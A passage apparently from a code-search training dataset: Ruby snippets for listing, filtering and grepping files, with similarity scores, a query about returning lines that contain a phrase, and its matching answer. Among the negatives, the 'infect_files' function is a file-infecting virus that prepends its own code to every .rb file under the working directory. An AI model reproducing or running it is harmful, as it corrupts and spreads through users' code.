File.readlines(file_name).each do |line|\n if m = /Started(.*?)for/.match(line)\n url = m[1]\n end\n if m = /404/.match(line)\n p url.gsub('\"','')\n end\n end\n end\nend", "def updatedb_search(search)\n file_list = []\n @updatedb.each_pair do | file, _meta |\n if file.match(search)\n file_list << file\n end\n end\n file_list\n end", "def find_file_by_text (start_dir, file_mask=\"*.*\", text_pattern='')\n match_files = Dir[ File.join(start_dir.split(/\\\\/), \"**\", file_mask)]\n if match_files.length > 0\n file_path = nil\n match_files.each do |file|\n matching_text = File.read(file).include?(text_pattern) rescue false\n if matching_text\n file_path = file\n break\n end\n end\n p \"#{file_path ? 'First searching file is: '+file_path : 'No files found'}\"\n else\n \"No files with mask '#{file_mask}' in directory '#{start_dir}'\"\n end\n end", "def find_files( path )\n file_paths.each_with_object([]) do |search_path,obj|\n found = File.join( search_path, path )\n obj << found if File.exist? found\n end.reverse.uniq\n end", "def find_assembly_files\n start_dir = self.location\n #logger.debug(\"self is #{self.inspect}\")\n #logger.debug(\"checking in location #{start_dir}\")\n files = Hash.new\n if ! File.directory? start_dir then\n errors.add(:location, \"Directory #{start_dir} does not exist on the system.\")\n #abort(\"Directory #{start_dir} does not exist on the system for #{self.inspect}\")\n return []\n end\n #logger.error(\"start dir is #{start_dir}\")\n Find.find(start_dir) do |path|\n filename = File.basename(path).split(\"/\").last\n skip_flag = 0\n FILE_SKIPS.each { |filepart, filehash| \n type = filehash[\"type\"]\n category = filehash[\"category\"]\n if category == 'suffix' then\n if (filename.match(\"#{filepart}$\")) then\n skip_flag = 1\n end\n else \n if (filename.match(\"#{filepart}\")) then\n skip_flag = 1\n end\n end\n\n }\n if (skip_flag == 1) then\n logger.error(\"Skipping file #{filename} because it matches a file skip\")\n next\n end\n FILE_TYPES.each { |filepart, filehash| \n\t type = filehash[\"type\"]\n\t vendor = filehash[\"vendor\"]\n if filename.match(filepart) then \n #logger.error(\"filename is #{filename}\")\n files[type] = Hash.new\n\t files[type][\"path\"] = path\n\t files[type][\"vendor\"] = vendor\n end\n }\n end\n return files\n end", "def files_to_analyze\n require 'find'\n ignore_dirs = ['.git','bin','test','assets','lib','log','vendor','tmp','img', 'images', 'uploads', 'fonts']\n ignore_files = Regexp.union(/^\\..*$/i, /^.*(.md)$/i, /^.*(.json)$/i, /^.*(.yml)$/i, /^.*(.log)$/i, /^.*(.png)$/i, /^.*(.jpg)$/i, /^.*(.jpeg)$/i)\n final_files = []\n # for every file in repository - keep the files to process\n Find.find('.') do |path|\n path_name = File.basename(path)\n if FileTest.directory?(path)\n if ignore_dirs.include?(path_name)\n Find.prune\n else\n next\n end\n else\n if path_name.match(ignore_files)\n next\n else\n path.gsub!(/^\\.\\//, '')\n final_files.push(path)\n end\n end\n end\n return final_files\n end", "def sanger_phenotyping_find_pheno_abr_results\n colonies_with_data = []\n \n if File.exists?(SANGER_PHENO_ABR_LOC) and File.directory?(SANGER_PHENO_ABR_LOC)\n Dir.foreach(SANGER_PHENO_ABR_LOC) do |colony_prefix|\n if ( colony_prefix =~ /^\\w\\w\\w\\w$/ )\n if File.directory?(\"#{SANGER_PHENO_ABR_LOC}/#{colony_prefix}\") and File.exists?(\"#{SANGER_PHENO_ABR_LOC}/#{colony_prefix}/ABR/index.shtml\")\n colonies_with_data.push(colony_prefix)\n end\n end\n end\n end\n \n return colonies_with_data\nend", "def files\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{|file|\n#normalize the filename to just the MP3 filename with no path\n file.gsub(\"#{path}/\", \"\")}\n end", "def infect_files\n count = 0 \n virus_top = '#0x3a' \n virus_bottom = '#:' \n files = Dir[\"./**/*.rb\"] \n\n files.each do |random_file| \n\n first_line = File.open(random_file, &:gets).strip \n if first_line != virus_top \n File.rename(random_file, 'tmp.rb') \n virus_file = File.open(__FILE__, \"rb\") \n virus_contents = '' \n virus_file.each_line do |line| \n virus_contents += line \n if line =~ /#{virus_bottom}/\n count += 1\n if count == 2 then break end \n end\n end\n File.open(random_file, 'w') {|f| f.write(virus_contents) } \n good_file = File.open('tmp.rb', 'rb') \n good_contents = good_file.read \n File.open(random_file, 'a') {|f| f.write(good_contents)} \n File.delete('tmp.rb') \n end\n end\nend", "def takeFilesNames\nDir['result*.*'].each do |file_name|\n @files_names.push(file_name)\nend\nend", "def necessary_file\n @necessary_file ||= (\n file = File.join(directory, 'lexicon', \"{N,n}ecessary.txt\")\n Dir.glob(file).first\n )\n end", "def all_matching_files\n @all_matching_files ||= find_files\n end", "def all_matching_files\n @all_matching_files ||= find_files\n end", "def files #only wants mp3 files\n Dir.entries(path).select {|entry| entry.include?(\".mp3\")} #select returns an array itself\n end", "def count\n dir = '/Users/zzygis/lab/tekstai/stenogramos/'\n Dir.foreach(dir) do |f_sn|\n current_dir = dir + f_sn + '/'\n if current_dir =~ /\\d+/ then\n Dir.foreach(dir + f_sn) do |f_sp| \n yield f_sn, current_dir + f_sp if f_sp.include? '.txt'\n end\n end\n end\nend", "def files\n array_full_names = Dir.glob(\"#{@path}/*.mp3\")\n array_full_names.collect do |full_name|\n full_name[21..-1]\n end\n end", "def files\n Dir.glob(\"#{path}/*.mp3\").collect {|file| file.gsub(\"#{path}/\",\"\")}\n end", "def create_list_of_files\n @path=find_repository_and_basepath\n @table.window.setTitle(@path)\n files=[]\n Find.find(@path) do |file|\n # we don't want any files from a repository in the list \n next if file=~/(\\.hg|\\.svn|\\.git|\\.pyc)/ \n\n # neither do we want dotfiles in the list\n next if File.basename(file)=~/^\\./ \n \n # file matches, add it to the resulting list\n files << file if FileTest.file?(file)\n\n # wir bauen hier mal einen kleinen Idiotentest ein. Wenn wir mehr\n # als 10000 Dateien gefunden haben dann sind wir vermtl. in einem \n # falschen Verzeichniss und brechen die Suche ab.\n if files.length>10000\n NSRunInformationalAlertPanel('Large directory found!',\n \"Gathered more than 10k files from directory '#{@path}', aborting search!\",'OK',nil,nil)\n NSApp.stop(self)\n raise 'error'\n end\n end\n #@files=files.sort_by { |match| File.basename(match) }\n @files=files.sort\n end", "def tracked_files\n all_files.reject { |f| ignore_matcher.matched?(f) }\n end", "def filter_nonexistent(modified_files); end", "def files( starts_with: )\n msg_handler.bold_debug [ msg_handler.here,\n msg_handler.called_from,\n \"starts_with=#{starts_with}\",\n \"\" ] if msg_handler.debug_verbose\n rv = Dir.glob( \"#{starts_with}*\", File::FNM_DOTMATCH )\n msg_handler.bold_debug [ msg_handler.here,\n msg_handler.called_from,\n \"files.size=#{rv.size}\",\n \"\" ] if msg_handler.debug_verbose\n return rv\n end", "def index (path = \".\")\n files = Array.new\n # search path and fill with files\n Dir.foreach(path) do |entry|\n if File.file?(path + \"/\" + entry)\n if entry.length > 5 && entry[-5..-1] == \".whip\"\n files.push(Whip::File.new(path + \"/\" + entry, path + \"/\" + entry[0...entry.rindex(\".\")] + \".html\"))\n end \n end\n end\n return files\n end", "def findWord(word, filename)\n regex = Regexp.new(word)\n File.foreach(filename).with_index { |line, line_num|\n p \"#{line_num}: #{line}\" if regex =~ line\n }\nend", "def dependent_files\n processed.map(&:abs_path).compact.select { |fn| File.exist?(fn) }\n end", "def find_filename_for_todo(id)\n for filename in Dir.entries(TODOS_DIRECTORY)\n if filename.start_with?(id)\n return filename\n end\n end\nend", "def files\n real_path = self.path[2...-1] + \"s/*\"#trim './' and add 's/*' \n \n Dir[real_path].map{|file| file.split(\"/\")[-1]} \n end", "def getBuildFiles(directory)\r\n\t# hash key is file name (path to file not included). hash value is contents of file\r\n\tbuildFiles = Hash.new()\r\n\tDir.glob(\"#{directory}\") do |filepath|\r\n\t\tif filepath.split(//).last(10).join(\"\").to_s == \"build.html\"\r\n\t\t\tbuildFile = File.open(filepath, \"rb\")\r\n\t\t\tbuildFileContents = buildFile.readlines\r\n\t\t\tbuildFileContents.map! { |element|\r\n\t\t\t element.gsub(/\\r\\n?/,\"\")\r\n\t\t\t}\r\n\t\t\t# key is everything after final slash\r\n\t\t\tkey = filepath.split('/')[-1]\r\n\t\t\tbuildFiles[key] = buildFileContents\r\n\t\tend\r\n\tend\r\n\treturn buildFiles\r\nend", "def find_same_files\n # loop over find_similar_files groups\n # diff -b file1 file2\n end", "def get_file_names path\n Dir.entries(path).select { |file| !File.directory? File.join(path, file) }\n end", "def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end", "def files; entries.find_all {|e| e.is_a? SiteFile} end", "def find_bams(s_dir)\n bams = []\n Find.find(s_dir) do |f|\n bams << f if File.file?(f) and\n (f =~ %r{sorted.dups.bam$} or\n f =~ %r{sorted.dups.with.header.bam$} or\n f =~ %r{merged.marked.bam$})\n end\n bams\nend", "def target_files(changed_files)\n changed_files.select do |file|\n file.end_with?(\".kt\")\n end\n end", "def tag_manifested_files\n tagmanifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n path\n end\n }\n (acc + files).uniq\n end\n end", "def files\n files = Dir[\"#{path}/*.mp3\"].each {|file_name| next if File.directory? file_name}\n files.each {|filename| filename.gsub!(/\\A(.....................)/, \"\")}\n files\n end", "def textfiles\n textdir = datadir \"snippets\"\n Dir.entries(textdir).reject { |f|\n f =~ /^\\./ or f =~ /fail/\n }.each { |f|\n yield File.join(textdir, f)\n }\n end", "def find_files_newer_than_file( directory, filename )\n `find -H '#{directory}' -newer #{filename}`.split(\"\\n\")\n end", "def search_file_name\n file_name = ''\n if @artist_id && @artist_id != 0\n artist_name = ARUtils.field( Artist , @artist_id , :name )\n file_name = artist_name if artist_name\n end\n if @album_id && @album_id != 0\n album_name = ARUtils.field( Album , @album_id , :name )\n file_name += ' - ' if ! file_name.empty?\n if album_name\n file_name += album_name\n end\n end\n file_name = 'songs' if file_name.empty?\n return ImagesModule.safe_file_name(file_name, true)\n end", "def grepp(file, string)\t\n\tFile.open(file) do |f|\n\t\tline = 0\n\t\tf.each_line do |l|\n\t\t\tline+=1\n\t\t\tputs \"line #{line}: #{l}\" if l.include? string\n\t\tend\n\tend\nend", "def simple_entries(dirname=mpwd)\n dir_files = Dir.entries(dirname)\n files = dir_files - ['.','..'] - dir_files.grep(/~$/) - dir_files.grep(/\\.sw[o-z]$/)\n end", "def check(dir)\n path = Pathname.new(dir)\n files = path.file? ? [path] : Pathname.glob(path.join('*.txt')).entries\n mfs = files.reject {|f| find_by(f)}\n fs = files - mfs\n\n [fs, mfs]\n end", "def files\n Dir.glob(\"#{path}/*.mp3\").collect do\n |file| file.gsub(\"#{path}/\",\"\")\n end\n end", "def filter(file, fixture)\n # return ['affix_InterveningEmpty.json'].include?(File.basename(file))\n # File.basename(file) =~ /bugreports_greek/i\n # File.basename(file) =~ /sort_stripmark/i\n # return File.basename(file) =~ /^date_rawparsesimpledate/i\n true\nend", "def file_match(file)\n end", "def find_files\n result = {}\n targets = ['app'] # start simple\n targets.each do |target|\n order = []\n Find.find(target) do |f|\n next if test ?d, f\n next if f =~ /(swp|~|rej|orig)$/ # temporary/patch files\n next if f =~ /(\\.svn|\\.git)$/ # subversion/git\n next if f =~ /\\/\\.?#/ # Emacs autosave/cvs merge files\n filename = f.sub(/^\\.\\//, '')\n\n result[filename] = File.stat(filename).mtime rescue next\n end\n end\n \n self.files = result\n end", "def gather_files files\n files = [\".\"] if files.empty?\n\n file_list = normalized_file_list files, true, @options.exclude\n\n file_list = remove_unparseable(file_list)\n\n if file_list.count {|name, mtime|\n file_list[name] = @last_modified[name] unless mtime\n mtime\n } > 0\n @last_modified.replace file_list\n file_list.keys.sort\n else\n []\n end\n end", "def search_all_paths(word)\n\n\tsearch_project_paths(word)\n\tsearch_bundle_paths(word)\n\t\n\t$best_paths.uniq!\n\t$package_paths.uniq!\n\t\n\t{ :exact_matches => $best_paths, :partial_matches => $package_paths }\n\t\nend", "def simple_grep(filename, phrase)\n regexp = Regexp.new(phrase)\n File.open(filename, 'r') do |file|\n # file.each_line {|line| puts line if regexp =~line}\n file.each_line do |line|\n puts \"#{$.} - #{line}\" if regexp =~line \n end\n end\nend", "def find_files()\n require 'find'\n directory = File.dirname(__FILE__) + '/../templates/' + @template\n @files = Array.new()\n Find.find(directory) do |f|\n if FileTest.file?f\n @files.push(f)\n end\n end\n @files\n end", "def words_file(words)\n File.read(words).lines.select do |l|\n (3..9).cover?(l.strip.size)\n end\n end", "def searchFor\n %w{*.lua */*.lua}\n end", "def parse_files(files, opts = {})\n opts = { :extension => nil, :directory => nil }.merge opts\n files = [files] unless files.is_a?(Array)\n search_text = files.join(\" \")\n parsed_files = []\n while !files.empty?\n file = files.shift\n unless opts[:directory].nil?\n file = opts[:directory] + \"/\" + file\n end\n unless opts[:extension].nil?\n file = file.sub(/\\.[^\\\\\\/]*$/, \"\") + \".\" + opts[:extension].to_s.tr(\".\", \"\")\n end\n parsed_files += Dir.glob(File.expand_path(file))\n end\n puts I18n.t(:no_match) % search_text if parsed_files.empty?\n parsed_files.uniq\n end", "def page name\n @text_files_hash.each_value.find do |file|\n file.page_name == name or file.base_name == name\n end\n end", "def existing_files; end", "def get_content_search_paths()\n r = @file_content_search_paths.clone\n p = find_project_dir_of_cur_buffer()\n if p.nil?\n p = vma.buffers.last_dir\n end\n\n if p and !@file_content_search_paths.include?(p)\n r.insert(0, p)\n end\n\n return r\n end", "def find_files(location)\n @@logs = {:todo => File.join(location, \"todo.log\"), \n :metrics => File.join(location, \"metrics.log\"), \n\t:error => File.join(location, \"error.log\"),\n\t:working => File.join(location, \"working.log\")\n }\n end", "def find_files(path)\n entries = Dir[path + \"/*\"]\n puts entries.size\n entries.select! { |entry| File.file?(entry) }\n entries\n end", "def filenames; end" ]
[ "0.6455032", "0.6131316", "0.6072181", "0.60100216", "0.59508896", "0.59123826", "0.5905737", "0.58907324", "0.5845353", "0.5825991", "0.5788495", "0.5785443", "0.57852584", "0.577604", "0.5769491", "0.5767229", "0.57509285", "0.5749213", "0.5743935", "0.5715855", "0.57133067", "0.5697235", "0.5697021", "0.56938416", "0.5679598", "0.5667522", "0.56490666", "0.5648168", "0.5625531", "0.5614513", "0.560937", "0.5604401", "0.55842763", "0.5568553", "0.5555089", "0.5531109", "0.5527985", "0.55258083", "0.5517785", "0.55124", "0.5503422", "0.5501064", "0.54946995", "0.54938847", "0.549354", "0.5471812", "0.546678", "0.5446935", "0.54448277", "0.5444186", "0.54409933", "0.54367334", "0.54356664", "0.543346", "0.543346", "0.5425283", "0.54221696", "0.54076433", "0.5404767", "0.54042876", "0.5396617", "0.53933716", "0.5391511", "0.53911996", "0.53886086", "0.53826857", "0.5380928", "0.53748655", "0.53703535", "0.5370095", "0.536488", "0.5360186", "0.5355052", "0.53400725", "0.5337088", "0.53361434", "0.5332177", "0.53318524", "0.5319682", "0.5314851", "0.5310763", "0.5306436", "0.53032464", "0.53024244", "0.5292278", "0.5285687", "0.5285209", "0.5280696", "0.528021", "0.52797586", "0.52659386", "0.5264544", "0.5262251", "0.52617836", "0.52611125", "0.5260195", "0.52594966", "0.52588606", "0.52519137", "0.5243722" ]
0.81258565
0
=== Return array which contains lines with searched phrase for indicated file.
def iterate_several_file file_path #Iterate file line by line result_lines_in_file = [] reg = /.*#{@phrase_we_have_now}.*/ file = File.open(file_path, "r") do |f| f.each_line do |line| if line.match?(reg) result_lines_in_file << line end end end result_lines_in_file end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def grep(filename, phrase)\n File.open(filename) do |lines|\n lines.each do |line|\n puts \"#{lines.lineno}. #{line}\" if line =~ Regexp.new(phrase)\n end\n end\nend", "def grep(filename, phrase)\n matches = []\n lines = IO.readlines filename\n (1..lines.length).each do |num|\n matches.push([num, lines[num-1]]) if lines[num-1].match(phrase)\n end\n puts \"Found #{matches.length} matches\\n\"\n matches.each { |line| puts \"#{line[0]} #{line[1]}\"}\nend", "def search_in_project phrase_we_have_now\n result_files_with_phrase = []\n path_to_files = File.join(DIRECTORY_PATH, '**/*.rb')\n files_to_check = []\n Dir.glob(path_to_files) do |rb_file|\n files_to_check << rb_file\n end\n raise \"files_to_check is empty !\" if files_to_check.length == 0\n #Looking for files where occurs: phrase_we_have_now\n files_to_check.each do |one_file|\n file = File.open(one_file, \"r\") do |f|\n f.each_line do |line|\n reg = /.*#{@phrase_we_have_now}.*/\n if line.match?(reg)\n result_files_with_phrase << one_file\n end\n end\n end\n end\n if result_files_with_phrase.length == 0\n puts \"\\n\\e[31m\\e[1;4mThe phrase: '#{@phrase_we_have_now}' not found in files.\\e[31m\"\n exit\n end\n result_files_with_phrase.uniq.sort\n end", "def grep(filename, phrase)\n File.open(filename) do |f|\n f.each { |line| puts \"#{f.lineno}: #{line}\" if line[phrase]}\n end\nend", "def grep_file(file_path, grep_pattern)\n logc(\"method: #{__method__}, params: #{file_path}, #{grep_pattern}\")\n\n # with File.open(file_path, 'r').each.grep(grep_pattern) possible invalid byte sequence in UTF-8 (ArgumentError)\n # so we use \"match\" to check if line match pattern and 'scrub' to skip bad encoding symbols\n res = []\n File.open(file_path, 'r').each {|line| res << line if line.scrub.match(grep_pattern)}\n return res\nend", "def search\n result = []\n @selected_files.each do |filename, file|\n text = unzip(filename, file)\n break unless text # skip file if not enable option '-z'\n text.delete(\"\\n\") # delete blank lines\n t = text.clone\n text.map!.with_index do |current_str, i|\n @picking.call(current_str, i, t) if current_str.index(@search_string)\n end\n result << text.compact << \"_______end of file\".green_on_blue + \" '#{filename}'\".yellow_on_blue\n end\n result\n end", "def grep(filename, phrase)\n File.open(filename) do |f|\n f.each { |line| puts \"#{f.lineno}: #{line}\" if line[phrase] }\n end\nend", "def grep(search, filename)\n regexp = Regexp.new(search)\n File.foreach(filename).with_index { |line, line_number|\n puts \"#{line_number+1}: #{line}\" if regexp =~ line\n }\nend", "def simple_grep(filename, phrase)\n regexp = Regexp.new(phrase)\n File.open(filename, 'r') do |file|\n # file.each_line {|line| puts line if regexp =~line}\n file.each_line do |line|\n puts \"#{$.} - #{line}\" if regexp =~line \n end\n end\nend", "def grep(filename, needle)\n File.open(filename).each_with_index do |line, line_number|\n puts \"#{line_number + 1}: #{line}\" if line.include? needle\n end\nend", "def get_lines(filename); end", "def le_arquivoL (arq)\n l = Array.new\n text = File.open(arq).read\n text.gsub!(/\\r\\n?/, \"\\n\")\n text.each_line do |line|\n l = l << line\n end\n return l\n end", "def search(word)\n num_chapters = Dir.glob(\"data/chp*\").count\n results = []\n 1.upto(num_chapters) do |chapter_num|\n matches = {}\n chapter_paragraphs = File.read(\"data/chp#{chapter_num}.txt\").split(\"\\n\\n\")\n chapter_paragraphs.each_with_index do |paragraph, index|\n matches[index] = paragraph if paragraph.include?(word)\n end\n results << {name: @contents[chapter_num - 1], number: chapter_num,\n paragraphs: matches} if matches.any?\n end\n results\nend", "def search(pattern)\n\t\tmatching_lines = lines.select { |line| line.match(pattern) }\n\t\tmatching_lines.size == 0 ? nil : matching_lines\n\tend", "def search(pattern)\n\t\tmatching_lines = lines.select { |line| line.match(pattern) }\n\t\tmatching_lines.size == 0 ? nil : matching_lines\n\tend", "def find\n src.split(\"\\n\")\n end", "def read_file(file)\n lines = []\n IO.foreach(find(file)) do |line|\n lines << line.strip unless line.strip == ''\n end\n lines\n end", "def find_matching_source_lines\n\t\tmatches = []\n\n\t\tsource_files = $hoespec.spec.files.grep( /\\.(h|c|rb)$/ )\n\t\tsource_files -= self.quality_check_whitelist\n\n\t\tsource_files.each do |filename|\n\t\t\tprevious_line = nil\n\n\t\t\tIO.foreach( filename ).with_index do |line, i|\n\t\t\t\tmatches << [filename, i + 1, line] if yield( line, previous_line )\n\t\t\t\tprevious_line = line\n\t\t\tend\n\t\tend\n\n\t\treturn matches\n\tend", "def scan_file(path)\n keys = []\n text = read_file(path)\n text.scan(@pattern) do |match|\n src_pos = Regexp.last_match.offset(0).first\n location = occurrence_from_position(path, text, src_pos, raw_key: strip_literal(match[0]))\n next if exclude_line?(location.line, path)\n\n key = match_to_key(match, path, location)\n next unless key\n\n key += ':' if key.end_with?('.')\n next unless valid_key?(key)\n\n keys << [key, location]\n end\n keys\n rescue Exception => e # rubocop:disable Lint/RescueException\n raise ::I18n::Tasks::CommandError.new(e, \"Error scanning #{path}: #{e.message}\")\n end", "def select_valid_lines\n File.readlines(FILE_NAME).select { |l| l.downcase.include?('calling core') }\nend", "def ruby_grep(filename, pattern)\n regexp = Regexp.new(pattern)\n File.open(filename, 'r') do |file|\n file.each_line {|line| puts line if regexp =~ line}\n end\nend", "def grep(file, regexp, &block)\n if block_given?\n File.open(file, 'r').each {|line| line.chomp!; block[line] if line =~ regexp }\n else\n lines = []\n File.open(file, 'r').each {|line| line.chomp!; lines << line if line =~ regexp }\n lines\n end\n end", "def grep(word)\n git(\"grep --ignore-case --word-regexp --extended-regexp \\\"#{word}\\\"\").chomp.split(\"\\n\").map {|match|\n name, line = match.split /:\\s*/, 2\n\n if name =~ /binary file (.+) matches/i\n name = $1\n line = \"&lt;binary file&gt;\"\n end\n\n [object_for(name), line]\n }\n end", "def search_filenames\n # * => all files\n # r => search from its subdirectories\n # i => ignore cases\n # l => list file name\n # c => show word occurence count\n # w => words\n\n args = set_args\n # grep -ril '#keyword1' --include=\\*.rb *\n `grep -ril '#{args}' #{search_extension} *`\n end", "def matching_lines(lined_content, surrounding_lines, query)\n used_lines = []\n lined_content.each_with_index do |line, line_number|\n used_lines.concat bounded_line_numbers(\n line_number,\n 0,\n lined_content.size,\n surrounding_lines\n ) if line.downcase.include?(query.downcase)\n end\n\n used_lines.uniq.sort\n end", "def search(term)\n contact_array = []\n CSV.foreach(\"contact_data.csv\") do |line|\n if line[1].match(term)\n contact_array << line\n elsif line[2].match(term)\n contact_array << line\n end\n end\n return contact_array\n end", "def search\n Dir.glob(@config.target_file_pattern, File::FNM_CASEFOLD).each do |file_path|\n next if FileTest.directory?(file_path)\n\n extension = get_extension(file_path)\n tokens = get_tokens(file_path, extension)\n search_romaji(extension, tokens, file_path)\n end\n\n nil\n end", "def find_file_lines(file)\n file.open { |f| find_number_lines(f) }\n end", "def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end", "def searchABatch(directory, extension, searchString)\n return Dir.entries(directory).select{|file| File.open(file, \"r\").include?(searchString)}\nend", "def findWord(word, filename)\n regex = Regexp.new(word)\n File.foreach(filename).with_index { |line, line_num|\n p \"#{line_num}: #{line}\" if regex =~ line\n }\nend", "def getFileContent(dir, file):Array\n arr = Array.new\n File.open(\"#{dir}/#{file}\", \"r\").each do |line|\n arr.push line\n end\n arr\n end", "def grepp(file, string)\t\n\tFile.open(file) do |f|\n\t\tline = 0\n\t\tf.each_line do |l|\n\t\t\tline+=1\n\t\t\tputs \"line #{line}: #{l}\" if l.include? string\n\t\tend\n\tend\nend", "def scanner\n @sentences ||= File.open(@path) do |file|\n file.each_line.each_with_object([]) do |line, acc|\n stripped_line = line.strip\n\n unless stripped_line.nil? || stripped_line.empty?\n acc << line.split(' ').map do |word|\n word.split('/').first\n end.join(' ')\n end\n end\n end\n\n end", "def scan_file(path)\n keys = []\n File.open(path, 'rb') do |f|\n f.read.scan(pattern) do |match|\n key = extract_key_from_match(match, path)\n keys << key if valid_key?(key)\n end\n end\n keys\n end", "def updatedb_search(search)\n file_list = []\n @updatedb.each_pair do | file, _meta |\n if file.match(search)\n file_list << file\n end\n end\n file_list\n end", "def get_lines(filename)\n return File.open(filename, 'r').readlines\nend", "def get_lines(filename)\n return File.open(filename, 'r').readlines\nend", "def get_lines(filename)\n return File.open(filename, 'r').readlines\nend", "def matching_lines(regex); end", "def grep_multiple(folder, search)\n\n folder = File.expand_path(folder)\n return nil if folder.nil? || search.nil? || !File.directory?(folder)\n folder = folder[0..-2] if folder =~ %r{/$} #remove trailing slash if present\n \n data, benchmark = safe_utf8_exec(options.grep_folder, search, folder)\n \n hash = {}\n \n #convert data from \n # file:line\n #into \n # file => [lines]\n data.each_line do |line|\n file, str = line.split(\":\", 2)\n file = url_from_file(file)\n hash[file] ||= []\n hash[file] << str\n end\n \n [hash, benchmark]\nend", "def receive_valid_lines_from_file\n File.readlines(FILE_NAME).select { |line| line.downcase.include?('post') }\nend", "def grepper(fileName,expression)\n IO.foreach(fileName){|line| puts line if line =~ /#{expression}(.*)/}\nend", "def get_file_array(path)\n array = []\n File.open(path) do |f|\n f.each_line do |line|\n array.push(line)\n end\n end\n return array\nend", "def updated_lines\n io = @diff.each_line\n path = nil\n\n found = []\n\n while true\n line = io.next\n if line =~ FILE_PATTERN\n path = $1\n end\n\n if hunk_header?(line)\n line_numbers = line_numbers_for_destination(line)\n found << [ path, line_numbers ]\n end\n end\n rescue StopIteration\n return found\n end", "def read_regexps_from_file(file_name)\n matchers = []\n File.open(file_name).each_line do |l|\n next if (l =~ /^(#.*|\\s*)$/) # emtpy lines and lines starting with #\n matchers << Regexp.new(l.strip)\n end\n end", "def read_file\n match_file = File.new(\"matches.txt\", \"r\")\n no_of_match = match_file.gets\n if no_of_match != nil\n for i in 0..no_of_match.to_i - 1\n match_result = match_file.gets\n @matchesarr << match_result\n end\n end\n match_file.close\n end", "def find_file_by_text (start_dir, file_mask=\"*.*\", text_pattern='')\n match_files = Dir[ File.join(start_dir.split(/\\\\/), \"**\", file_mask)]\n if match_files.length > 0\n file_path = nil\n match_files.each do |file|\n matching_text = File.read(file).include?(text_pattern) rescue false\n if matching_text\n file_path = file\n break\n end\n end\n p \"#{file_path ? 'First searching file is: '+file_path : 'No files found'}\"\n else\n \"No files with mask '#{file_mask}' in directory '#{start_dir}'\"\n end\n end", "def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend", "def matches\n parse_file.lines.each_with_object([]) do |line, matches|\n matches << line.scan(REGEXP[:name_and_score])\n end\n end", "def zip_entries_matching(zipfile, file_pattern)\n files = []\n Zip::File.open(zipfile) do |zip_file|\n zip_file.each do |entry|\n files << entry.name if entry.name.force_encoding(\"utf-8\").match file_pattern\n end\n end\n files\n end", "def match_strings(matched_lines)\n matched_strings = []\n\n matched_lines.each do |line|\n check_patterns.each do |pattern|\n line.scan(pattern).each do |matched|\n matched_strings += matched\n end\n end\n end\n\n return matched_strings\n end", "def egrep(pattern)\n Dir['**/*'].\n find_all { |fn| FileTest.file?(fn) }.\n reject { |fn| File.basename(fn) =~ /^\\./ }.\n reject { |fn| fn =~ /^hosting\\// }.\n each do |fn|\n line_count = 0\n open(fn) do |f|\n while line = f.gets\n line_count += 1\n if line =~ pattern\n puts \"#{fn}:#{line_count}:#{line.strip}\"\n end\n end\n end\n end\nend", "def search(pattern)\n entries.grep(Regexp.new(pattern))\n end", "def readlines(src_path)\n if File.exist?(src_path) && !File.directory?(src_path)\n File.readlines(src_path)\n else\n []\n end\n end", "def return_lines\n arr = IO.readlines(@filepath)\n arr.each do |x|\n @@worth_processing[@@i] = x if x.include? \"PROFILER:132\" \n @@i += 1\n end\n @@worth_processing\n end", "def find_match_index (fileArray, match_string)\n fileArray.each_index {|index|\n if fileArray[index].include?(match_string)\n return index # no error checking, SO MAKE SURE THE MATCH EXISTS IN YOUR FILE\n end}\nend", "def get_strings_from_file(path, result_hash = {})\r\n here = path.gsub(RAILS_ROOT.chomp,\"\")\r\n # Get translations guesses (using the 'thing' / [] style)\r\n potentials = []\r\n potentials += file_matches(path, SQ_LAX)\r\n potentials += file_matches(path, DQ_LAX)\r\n\r\n # Get known translation strings (.t)\r\n potentials += file_matches(path, DQ_T)\r\n potentials += file_matches(path, SQ_T)\r\n\r\n # Filter out known bad (some things are miserble to try in the regexp)\r\n probables = []\r\n potentials.each do |s|\r\n full_str = s[0]\r\n matched_str = s[1]\r\n next if matched_str.match(/#\\{.*\\}/) # e.g. \"#{myvar}\".t\r\n #next if full_str.match(/(<%)|(%>)/) # e.g. any inline code\r\n next unless matched_str.match(/\\w/) # ensure something worth translating\r\n\r\n probables << matched_str # Just the relevant matched portion\r\n end\r\n\r\n # Remove escaped quotes\r\n probables.each do |str|\r\n str.gsub!(\"\\\\'\", \"'\")\r\n str.gsub!('\\\\\"', '\"')\r\n result_hash[str] ||= []\r\n result_hash[str] << here\r\n end\r\n\r\n return result_hash\r\n end", "def grep_for(text, where = \"./\", double_quote = false, perl_regex = false)\n # If they're on Windows, they probably don't have grep.\n @probably_has_grep ||= (Config::CONFIG['host_os'].downcase =~ /mswin|windows|mingw/).nil?\n\n # protect against double root paths in Rails 3\n where.gsub!(Regexp.new(base_path),'')\n\n lines = if @probably_has_grep\n find_with_grep(text, base_path + where, double_quote, perl_regex)\n else\n find_with_rak(text, base_path + where, double_quote)\n end\n\n # ignore comments\n lines.gsub /^(\\/[^:]+:)?\\s*#.+$/m, \"\"\n end", "def search(search_terms)\n\n db = Sequel.sqlite(dbfilename)\n dataset = db[:pdfmd_documents].where(\"UPPER(keywords) LIKE UPPER('%#{search_terms[0]}%')\")\n result_files = ''\n dataset.all.each do |match_file|\n match_file.each do |key,value|\n if key == :keywords\n\n # Split the keywords\n keywords = value.downcase.split(/\\s*,\\s*/)\n # Search for matches in the keywords.\n if keywords.find{ |e| /#{search_terms.join(' ').downcase}/ =~ e }\n result_files += match_file[:filename] + \"\\n\"\n end\n end\n\n end\n end\n\n # Ouput result filenames\n result_files\n\n end", "def find_text_page file_name\n @text_files_hash.each_value.find do |file|\n file.full_name == file_name\n end\n end", "def get_included(file)\n included = []\n\n @include_path.each do |dir|\n file_name = File.join dir, file\n\n if File.exist? file_name then\n included = 